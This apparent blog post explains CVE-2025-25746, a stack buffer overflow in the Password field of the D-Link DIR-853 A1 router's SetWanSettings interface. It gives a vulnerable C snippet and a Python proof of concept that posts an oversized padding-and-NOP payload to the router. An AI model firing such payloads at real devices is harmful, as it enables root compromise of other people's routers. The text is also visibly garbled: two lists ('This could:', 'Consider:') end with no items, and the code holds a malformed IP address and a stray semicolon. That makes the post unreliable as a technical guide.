CVE-2025-25746 - D-Link DIR-853 A1 FW1.20B07 Password Buffer Overflow Demystified

A new vulnerability has surfaced in the D-Link DIR-853 A1 router, specifically firmware version 1.20B07. Labeled CVE-2025-25746, this bug is a classic stack-based buffer overflow tied to how the device handles the Password parameter in its SetWanSettings module. This post aims to break down the vulnerability, explain the risks, and walk through an example exploit in plain English. All examples and analysis provided here are for educational use only.

What Is a Stack-Based Buffer Overflow?

A stack-based buffer overflow happens when a program copies data to a buffer without checking if the buffer is large enough. If the data exceeds the buffer's size, it "overflows" into nearby memory, possibly overwriting important data — like the function's return address. This is dangerous. Malicious users can use this bug to run their own code with the program’s permissions — in this case, as root on your router.

Where’s the Vulnerability?

The issue is found in the web interface of D-Link DIR-853 A1. When you use the SetWanSettings function (usually via the web portal), there’s a field for entering a password. The router's backend code does not properly check the length of this password before copying it into a fixed-size buffer!

Here’s a (simplified) code snippet to illustrate the bad logic

void setWanSettings(char *Password) {
    char pwbuf[32];
    // No length check!
    strcpy(pwbuf, Password);
    // ... (use pwbuf for connection...)
}

The router just trusts that Password is at most 32 bytes, but if you send a longer one, it will overwrite the stack. The danger is clear.

How Is This Bug Exploited?

To exploit CVE-2025-25746, an attacker can send a purposely crafted request to the router’s admin interface, with an oversized Password parameter. This could:

Here’s a proof-of-concept in Python that sends an overlong password to the web interface

import requests

# Router info
ROUTER_IP = '192.168..1'
URL = f'http://{ROUTER_IP}/SetWanSettings';

# Buffer overflow payload: 40 "A"s + fake control data
payload = 'A' * 40 + 'B' * 4 + '\x90' * 50  # Example, not actual functional shellcode

data = {
    'Password': payload,
    # All other required parameters here...
}

# Send POST request
r = requests.post(URL, data=data)
print(f"Status: {r.status_code}")

Note: For a real exploit, an attacker would use special shellcode at the right place to gain control over the router.

Real-world Risk

- Remote attackers could gain root access if the admin portal is exposed to the internet or to Wi-Fi guests.

Detection

If you use this router, check your firmware version in the admin web interface. If it’s 1.20B07, you are at risk. No official patch is available at this time. Consider:

Official References and Resources

- CVE-2025-25746 Entry on NVD *(Official source)*
- Firmware info for D-Link DIR-853 A1
- D-Link Security Bulletin Portal

*At the time of writing, no official patch has been published by D-Link. Monitor their security bulletins for updates.*

Conclusion

CVE-2025-25746 for D-Link DIR-853 A1 is a severe bug long known to cause trouble in embedded devices. If you use this device and firmware, be on alert! Update your firmware as soon as a patch is available, and keep your admin interface locked down.

Timeline

Published on: 02/12/2025 17:15:24 UTC
Last modified on: 02/24/2025 16:30:37 UTC